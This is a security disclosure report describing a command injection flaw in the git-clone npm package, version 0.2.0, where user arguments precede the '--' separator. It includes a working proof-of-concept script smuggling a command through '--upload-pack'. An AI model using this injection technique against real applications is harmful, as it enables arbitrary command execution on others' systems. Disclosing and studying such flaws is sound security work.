Command Injection vulnerability in git-clone@0.2.0

git-clone-command-injection.md

Command Injection vulnerability in git-clone@0.2.0

git-clone describes itself as a tool to clone a git repository

Resources:

• Project's GitHub source code: https://github.com/jaz303/git-clone
• Project's npm package: https://www.npmjs.com/package/git-clone

git-clone receives about 230,000 downloads a week so this report should probably be timely.

Background on exploitation

I'm reporting a Command Injection vulnerability in git-clone npm package.

A use of the --upload-pack feature of git is also supported for git clone, and allows users to execute arbitrary commands on the OS.

The source code attempted to mitigate user input concatenation as shown here: https://github.com/jaz303/git-clone/blob/master/private/util.js#L16-L17 with the following:

	args = args.concat(userArgs);
	args.push('--', repo, targetPath);

However, the user arguments are first added to the command being executed, and only then the double dash is added. Effectively, creating the following array values passed to the git spawned command here https://github.com/jaz303/git-clone/blob/46e27e0a60261f22ff70ed5f29d72f5d43b8aeab/private/impl.js#L10:

[
  'clone',
  '--upload-pack=touch /tmp/pwn2',
  '--',
  'file:///tmp/zero12345',
  '/tmp/example-new-repo'
]

If a user controls the options object provided to the clone() function through the options.args array, then they can inject commands to run when the clone function is called.

New exploit

Install git-clone@0.2.0, which is the latest.

Run the following code:

const clone = require('git-clone')
const repo = 'file:///tmp/zero12345'
const path = '/tmp/example-new-repo'
const options = {
	args: [
	'--upload-pack=touch /tmp/pwn2'
]}
clone(repo, path, options)

Observe a new file created: /tmp/pwn2

Author

Liran Tal